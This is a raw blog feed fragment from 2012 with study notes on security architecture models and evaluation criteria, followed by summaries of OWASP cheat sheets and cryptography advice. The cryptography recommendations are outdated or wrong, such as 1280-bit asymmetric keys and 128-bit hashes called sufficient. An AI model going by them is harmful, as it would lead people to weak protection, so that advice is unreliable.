- &amp;nbsp;A CPU contains a control unit, which controls the timing of the execution of instructions and data, and an ALU, which&amp;nbsp;performs mathematical functions and logical operations.&lt;br /&gt;
- &amp;nbsp;Most systems use protection rings. The more privileged processes run in the lower-numbered rings and have access to&amp;nbsp;all or most of the system resources. Applications run in higher-numbered rings and have access to a smaller amount of&amp;nbsp;resources.&lt;br /&gt;
- &amp;nbsp;Operating system processes are executed in privileged or supervisor mode, and applications are executed in user&amp;nbsp;mode, also known as &quot;problem state.&quot;&lt;br /&gt;
- &amp;nbsp;Secondary storage is nonvolatile and can be a hard drive, CD-ROM drive, floppy drive, tape backup, or a jump drive.&lt;br /&gt;
- &amp;nbsp;Virtual storage combines RAM and secondary storage so the system seems to have a larger bank of memory.&lt;br /&gt;
- &amp;nbsp;A deadlock situation occurs when two processes are trying to access the same resource at the same time.&lt;br /&gt;
- &amp;nbsp;Security mechanisms can focus on different issues, work at different layers, and vary in complexity.&lt;br /&gt;
- &amp;nbsp;The more complex a security mechanism is, the less amount of assurance it can usually provide.&lt;br /&gt;
- &amp;nbsp;Not all system components fall under the trusted computing base (TCB), which includes only those system components&amp;nbsp;that enforce the security policy directly and protect the system. These components are within the security perimeter.&lt;br /&gt;
- &amp;nbsp;Components that make up the TCB are hardware, software, and firmware that provide some type of security protection.&lt;br /&gt;
- &amp;nbsp;A security perimeter is an imaginary boundary that has trusted components within it (those that make up the TCB) and&amp;nbsp;untrusted components outside it.&lt;br /&gt;
- &amp;nbsp;The reference monitor concept is an abstract machine that ensures all subjects have the necessary access rights&amp;nbsp;before accessing objects. Therefore, it mediates all accesses to objects by subjects.&lt;br /&gt;
- &amp;nbsp;The security kernel is the mechanism that actually enforces the rules of the reference monitor concept.&lt;br /&gt;
- &amp;nbsp;The security kernel must isolate processes carrying out the reference monitor concept, must be tamperproof, must be&amp;nbsp;invoked for each access attempt, and must be small enough to be properly tested.&lt;br /&gt;
- &amp;nbsp;A security domain is all the objects available to a subject.&lt;br /&gt;
- &amp;nbsp;Processes need to be isolated, which can be done through segmented memory addressing, encapsulation of objects,&amp;nbsp;time multiplexing of shared resources, naming distinctions, and virtual mapping.&lt;br /&gt;
- &amp;nbsp;The level of security a system provides depends upon how well it enforces the security policy.&lt;br /&gt;
- &amp;nbsp;A multilevel security system processes data at different classifications (security levels), and users with different&amp;nbsp;clearances (security levels) can use the system.&lt;br /&gt;
- &amp;nbsp;Processes should be assigned least privilege so they have just enough system privileges to fulfill their tasks and no&amp;nbsp;more.&lt;br /&gt;
- &amp;nbsp;Some systems provide security at different layers of their architectures, which is called layering. This separates the&amp;nbsp;processes and provides more protection for them individually.&lt;br /&gt;
- &amp;nbsp;Data hiding occurs when processes work at different layers and have layers of access control between them.&amp;nbsp;Processes need to know how to communicate only with each other&#39;s interfaces.&lt;br /&gt;
- &amp;nbsp;A security model maps the abstract goals of a security policy to computer system terms and concepts. It gives the&lt;br /&gt;
security policy structure and provides a framework for the system.&lt;br /&gt;
- &amp;nbsp;A closed system is often proprietary to the manufacturer or vendor, whereas the open system allows for more&amp;nbsp;interoperability.&lt;br /&gt;
- &amp;nbsp;The Bell-LaPadula model deals only with confidentiality, while the Biba and Clark-Wilson models deal only with&amp;nbsp;integrity.&lt;br /&gt;
- &amp;nbsp;A state machine model deals with the different states a system can enter. If a system starts in a secure state, all state&amp;nbsp;transitions take place securely, and the system shuts down and fails securely, the system will never end up in an&amp;nbsp;insecure state.&lt;br /&gt;
- &amp;nbsp;A lattice model provides an upper bound and a lower bound of authorized access for subjects.&lt;br /&gt;
- &amp;nbsp;An information flow security model does not permit data to flow to an object in an insecure manner.&lt;br /&gt;
- &amp;nbsp;The Bell-LaPadula model has a simple security rule, which means a subject cannot read data from a higher level (no&amp;nbsp;read up). The *-property rule means a subject cannot write to an object at a lower level (no write down). The strong&amp;nbsp;star property rule dictates that a subject can read and write to objects at its own security level.&lt;br /&gt;
- &amp;nbsp;The Biba model does not let subjects write to objects at a higher integrity level (no write up), and it does not let&amp;nbsp;subjects read data at a lower integrity level (no read down). This is done to protect the integrity of the data.&lt;br /&gt;
- &amp;nbsp;The Bell-LaPadula model is used mainly in military systems. The Biba and Clark-Wilson models are used in the&amp;nbsp;commercial sector.&lt;br /&gt;
- &amp;nbsp;The Clark-Wilson model dictates that subjects can only access objects through applications. This model also illustrates&amp;nbsp;how to provide functionality for separation of duties and requires auditing tasks within software.&lt;br /&gt;
- &amp;nbsp;If a system is working in a dedicated security mode, it only deals with one level of data classification, and all users must&amp;nbsp;have this level of clearance to be able to use the system.&lt;br /&gt;
- &amp;nbsp;Compartmented and multilevel security modes enable the system to process data classified at different classification&amp;nbsp;levels.&lt;br /&gt;
- &amp;nbsp;Trust means that a system uses all of its protection mechanisms properly to process sensitive data for many types of&amp;nbsp;users. Assurance is the level of confidence you have in this trust and that the protection mechanisms behave properly&amp;nbsp;in all circumstances predictably.&lt;br /&gt;
- &amp;nbsp;The Orange Book, also called Trusted Computer System Evaluation Criteria (TCSEC), was developed to evaluate&amp;nbsp;systems built to be used mainly by the military. Its use was expanded to evaluate other types of products.&lt;br /&gt;
- &amp;nbsp;In the Orange Book, D classification means a system provides minimal protection and is used for systems that were&amp;nbsp;evaluated but failed to meet the criteria of higher divisions.&lt;br /&gt;
- &amp;nbsp;In the Orange Book, the C division deals with discretionary protection, and the B division deals with mandatory&amp;nbsp;protection (security labels).&lt;br /&gt;
- &amp;nbsp;In the Orange Book, the A classification means the system&#39;s design and level of protection are verifiable and provide&amp;nbsp;the highest level of assurance and trust.&lt;br /&gt;
- &amp;nbsp;In the Orange Book, C2 requires object reuse protection and auditing.&lt;br /&gt;
- &amp;nbsp;In the Orange Book, B1 is the first rating that requires security labels.&lt;br /&gt;
- &amp;nbsp;In the Orange Book, B2 requires security labels for all subjects and devices, the existence of a trusted path, routine&amp;nbsp;covert channel analysis, and the provision of separate administrator functionality.&lt;br /&gt;
- &amp;nbsp;The Orange Book deals mainly with stand-alone systems, so a range of books were written to cover many other topics&amp;nbsp;in security. These books are called the Rainbow Series.&lt;br /&gt;
- &amp;nbsp;ITSEC evaluates the assurance and functionality of a system&#39;s protection mechanisms separately, whereas TCSEC&amp;nbsp;combines the two into one rating.&lt;br /&gt;
- &amp;nbsp;The Common Criteria was developed to provide globally recognized evaluation criteria and is in use today. It combines&amp;nbsp;sections of TCSEC, ITSEC, CTCPEC, and the Federal Criteria.&lt;br /&gt;
- &amp;nbsp;The Common Criteria uses protection profiles and ratings from EAL1 to EAL7.&lt;br /&gt;
- &amp;nbsp;Certification is the technical evaluation of a system or product and its security components. Accreditation is&amp;nbsp;management&#39;s formal approval and acceptance of the security provided by a system.&lt;br /&gt;
- &amp;nbsp;A covert channel is an unintended communication path that transfers data in a way that violates the security policy.&amp;nbsp;There are two types: timing and storage covert channels.&lt;br /&gt;
- &amp;nbsp;A covert timing channel enables a process to relay information to another process by modulating its use of system&amp;nbsp;resources.&lt;br /&gt;
- &amp;nbsp;A covert storage channel enables a process to write data to a storage medium so another process can read it.&lt;br /&gt;
- &amp;nbsp;A maintenance hook is developed to let a programmer into the application quickly for maintenance. This should be&amp;nbsp;removed before the application goes into production or it can cause a serious security risk.&lt;br /&gt;
- &amp;nbsp;An execution domain is where instructions are executed by the CPU. The operating system&#39;s instructions are executed&amp;nbsp;in a privileged mode, and applications&#39; instructions are executed in user mode.&lt;br /&gt;
- &amp;nbsp;Process isolation ensures that multiple processes can run concurrently and the processes will not interfere with each&amp;nbsp;other or affect each other&#39;s memory segments.&lt;br /&gt;
- &amp;nbsp;The only processes that need complete system privileges are located in the system&#39;s kernel.&lt;br /&gt;
- &amp;nbsp;TOC/TOU stands for time-of-check/time-of-use. This is a class of asynchronous attacks.&lt;br /&gt;
- &amp;nbsp;The Biba model addresses the first goal of integrity, which is to prevent unauthorized users from making modifications.&lt;br /&gt;
- &amp;nbsp;The Clark-Wilson model addresses all three integrity goals: prevent unauthorized users from making modifications,&amp;nbsp;prevent authorized users from making improper modifications, and maintain internal and external consistency.&lt;br /&gt;
- &amp;nbsp;In the Clark-Wilson model, users can only access and manipulate objects through programs. It uses access triple,which is subject-program-object.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: xx-small;&quot;&gt;These are notes collected from various sources.&lt;/span&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://softwarearchitectureandarchitects.blogspot.com/feeds/403011632307229052/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://softwarearchitectureandarchitects.blogspot.com/2012/12/security-security-architecture-and.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default/403011632307229052'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default/403011632307229052'/><link rel='alternate' type='text/html' href='http://softwarearchitectureandarchitects.blogspot.com/2012/12/security-security-architecture-and.html' title='Security: Security Architecture and design'/><author><name>Manoj T.</name><uri>http://www.blogger.com/profile/12956931336710250261</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2716531555213613403.post-7426039960204002478</id><published>2012-11-18T19:41:00.000-08:00</published><updated>2012-11-18T19:41:00.332-08:00</updated><title type='text'>Security: OWASP Cheat Sheets summary</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;REST Security Cheat Sheet&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;It is common for REST services to allow multiple response types (e.g. application/xml or application/json, and the client specifies the preferred order of response types by the Accept header in the request. Do NOT simply copy the Accept header to the Content-type header of the response. Reject the request (ideally with a 406 Not Acceptable response) if the Accept header does not specifically contain one of the allowable types.&lt;/li&gt;
&lt;/ul&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;It is important for the service to properly restrict the allowable verbs(GET, POST etc) such that only the allowed verbs will work, all others return a proper response code (for example, a 403 Forbidden).&amp;nbsp;This is because someone can use http HEAD with that URL and we won&#39;t be able to check.&lt;/li&gt;
&lt;/ul&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Authentication for a REST-based service should not take place by passing the user ID and password in path elements of the URL. URL&#39;s are commonly cached&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;a href=&quot;https://www.owasp.org/index.php/Application_Security_Architecture_Cheat_Sheet&quot; target=&quot;_blank&quot;&gt;Application Security Architecture Cheat Sheet&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;b&gt;Business Requirements&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;b&gt;Business Model&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Data Essentials&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;End-Users&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Partners&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Administrators&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Regulations&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Infrastructure Requirements&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;b&gt;Network&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Systems&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Infrastructure Monitoring&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Virtualization and Externalization&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Application Requirements&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;b&gt;Environment&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Data Processing&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Access&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Application Monitoring&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Application Design&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Security Program Requirements&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;b&gt;Operations&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;- identifying and addressing vulnerabilities&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;b&gt;Change Management&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Software Development&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Corporate&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - employee&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - governance requirements&lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div style=&quot;font-weight: bold;&quot;&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;Web Service Security Cheat Sheet&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-weight: bold;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-weight: bold;&quot;&gt;
XML Denial of Service Protection&lt;/div&gt;
&lt;div&gt;
XML Denial of Service is probably the most serious attack against web services. So the web service must provide the following validation:&lt;/div&gt;
&lt;div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Rule - Validation against recursive payloads&lt;/li&gt;
&lt;li&gt;Rule - Validation against oversized payloads&lt;/li&gt;
&lt;li&gt;Rule - Protection against XML entity expansion&lt;/li&gt;
&lt;li&gt;Rule - Validating against overlong element names. If you are working with SOAP-based Web Services, the element names are those SOAP Actions.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;Input Validation Cheat Sheet&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Some white list validators have also been predefined in various open source packages that you can leverage. Two packages that provide this are:&lt;/div&gt;
&lt;div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;a href=&quot;http://jakarta.apache.org/commons/validator&quot; target=&quot;_blank&quot;&gt;Apache Commons Validator&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.owasp.org/index.php/ESAPI&quot; target=&quot;_blank&quot;&gt;OWASP Enterprise Security API&lt;/a&gt; &lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div&gt;
It is recommended that you use ESAPI to assist with your input validation needs, rather than writing your own validation routines. The OWASP Enterprise Security API (ESAPI) project has predefined validators defined in the org.owasp.esapi.Validator interface and implemented in the DefaultValidator reference implementation. These include:&lt;/div&gt;
&lt;div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;getValidDate()&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;getValidSafeHTML()&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;getValidInput()&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;getValidNumber()&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;getValidFileName()&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;getValidRedirectLocation()&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;


&lt;span style=&quot;font-size: large;&quot;&gt;Cryptography&lt;/span&gt;&lt;/h3&gt;
&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=2716531555213613403&quot; name=&quot;_Toc520956649&quot;&gt;Relevant COBIT Topics&lt;/a&gt;&lt;br /&gt;
&lt;div class=&quot;HeadB&quot;&gt;
&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;Body&quot;&gt;
&lt;u&gt;DS5.18 – Cryptographic key management&lt;/u&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;Body&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;Body&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif;&quot;&gt;Cryptographic systems can provide one or more of the following four services:&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;Body&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;HeadC&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Authentication:SSL Certs&lt;/li&gt;
&lt;li&gt;Non-Repudiation:&lt;o:p&gt;&lt;/o:p&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif;&quot;&gt;digitally signing&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;Confidentiality&lt;/li&gt;
&lt;li&gt;Integrity:&lt;o:p&gt;&lt;/o:p&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif;&quot;&gt;Cryptographic hashes&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;o:p&gt;&lt;/o:p&gt;&lt;br /&gt;
&lt;div class=&quot;HeadC&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;HeadC&quot;&gt;
&lt;/div&gt;
&lt;h3&gt;


&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=2716531555213613403&quot; name=&quot;_Toc520956652&quot;&gt;Cryptographic Algorithms&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;HeadB&quot;&gt;
&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;HeadC&quot;&gt;
&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;HeadC&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;HeadC&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Asymmetric (also Public/Private Key Cryptography)&lt;/li&gt;
&lt;/ul&gt;
&lt;o:p&gt;&lt;/o:p&gt;&lt;br /&gt;
&lt;div class=&quot;HeadC&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;Body&quot;&gt;
PGP and SSL are prime examples of a systems implementing asymmetric cryptography, using the RSA(asym cipher) or other algorithms. Common Asymmetric signature scheme is DSA ( Digital Signature Algorithm)&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;Body&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;HeadC&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Symmetric&lt;/li&gt;
&lt;/ul&gt;
&lt;o:p&gt;&lt;/o:p&gt;&lt;br /&gt;
&lt;div class=&quot;HeadC&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;Body&quot;&gt;
. Common examples of symmetric algorithms are DES, 3DES and AES. DES should no longer be used.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;Body&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;Body&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;HeadC&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Hashes&lt;/li&gt;
&lt;/ul&gt;
&lt;o:p&gt;&lt;/o:p&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif;&quot;&gt;Hash functions take some data (and possibly a key or password) and generate a unique hash or checksum.&amp;nbsp;&lt;/span&gt;MD5 and SHA-1 are common hashing algorithms used today. These algorithms are considered weak (see below) and are likely to be replaced after a process similar to the AES selection. New implementations should consider using SHA-256 instead of these weaker algorithms.&lt;br /&gt;
Message Authentication Codes ( MAC), uses keys and are used as hash functional as well.&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;Use good sources of randomness. JCE as one.&lt;/u&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;Body&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;Body&quot;&gt;
&lt;/div&gt;
&lt;h3&gt;


Key Exchange Algorithms&lt;/h3&gt;
&lt;div class=&quot;HeadC&quot;&gt;
&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;Body&quot;&gt;
Lastly, we have key exchange algorithms (such as Diffie-Hellman for SSL). These allow use to safely exchange encryption keys with an unknown party.&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;Body&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;Body&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;HeadB&quot;&gt;
&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=2716531555213613403&quot; name=&quot;_Toc520956653&quot;&gt;&lt;b&gt;Stream Ciphers&lt;/b&gt;&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;Body&quot;&gt;
Stream ciphers, such as&amp;nbsp;&lt;b&gt;&lt;u&gt;&lt;i&gt;RC4&lt;/i&gt;&lt;/u&gt;&lt;/b&gt;, are vulnerable due to a property of stream ciphers. If you use the same key to “protect” two different documents, the keystream drops out when you XOR the two documents together, leaving the plaintexts XOR’d together. The two plain text documents can be recovered using frequency analysis.&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;Body&quot;&gt;
&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;


Specific algorithms to avoid:&lt;/h3&gt;
&lt;div class=&quot;Body&quot;&gt;
&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif;&quot;&gt;MD5 has recently been found less secure than previously thought.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 10pt;&quot;&gt;SHA-0 has been conclusively broken.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 10pt;&quot;&gt;SHA-1 has been reduced in strength and we encourage a migration to SHA-256, which implements a larger key size&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;ListBulleted&quot; style=&quot;page-break-after: avoid;&quot;&gt;
DES was once the standard crypto algorithm for encryption; a normal desktop machine can now break it. AES is the current preferred symmetric algorithm.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;


Recommendations&lt;/h3&gt;
&lt;div class=&quot;Body&quot;&gt;
&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;Body&quot;&gt;
&lt;span class=&quot;EmphasisBold&quot;&gt;&lt;b&gt;Symmetric&lt;/b&gt;:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ListBulleted&quot; style=&quot;page-break-after: avoid;&quot;&gt;
&lt;span style=&quot;font-family: Symbol;&quot;&gt;·&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;Key sizes of 128 bits (standard for SSL) are sufficient for most applications&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;ListBulleted&quot; style=&quot;page-break-after: avoid;&quot;&gt;
&lt;span style=&quot;font-family: Symbol;&quot;&gt;·&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;Consider 168 or 256 bits for secure systems such as large financial transactions&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;Body&quot;&gt;
&lt;span class=&quot;EmphasisBold&quot;&gt;&lt;b&gt;Asymmetric&lt;/b&gt;:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;Body&quot;&gt;
&lt;span style=&quot;font-family: Symbol;&quot;&gt;·&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;Key sizes of 1280 bits are sufficient for most personal applications&lt;/div&gt;
&lt;div class=&quot;ListBulleted&quot; style=&quot;page-break-after: avoid;&quot;&gt;
&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;ListBulleted&quot; style=&quot;page-break-after: avoid;&quot;&gt;
&lt;span style=&quot;font-family: Symbol;&quot;&gt;·&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;1536 bits should be acceptable today for most secure applications&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;ListBulleted&quot; style=&quot;page-break-after: avoid;&quot;&gt;
&lt;span style=&quot;font-family: Symbol;&quot;&gt;·&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;2048 bits should be considered for highly protected applications.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;Body&quot;&gt;
&lt;span class=&quot;EmphasisBold&quot;&gt;&lt;b&gt;Hashes&lt;/b&gt;:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ListBulleted&quot; style=&quot;page-break-after: avoid;&quot;&gt;
&lt;span style=&quot;font-family: Symbol;&quot;&gt;·&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;Hash sizes of 128 bits (standard for SSL) are sufficient for most applications&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;ListBulleted&quot; style=&quot;page-break-after: avoid;&quot;&gt;
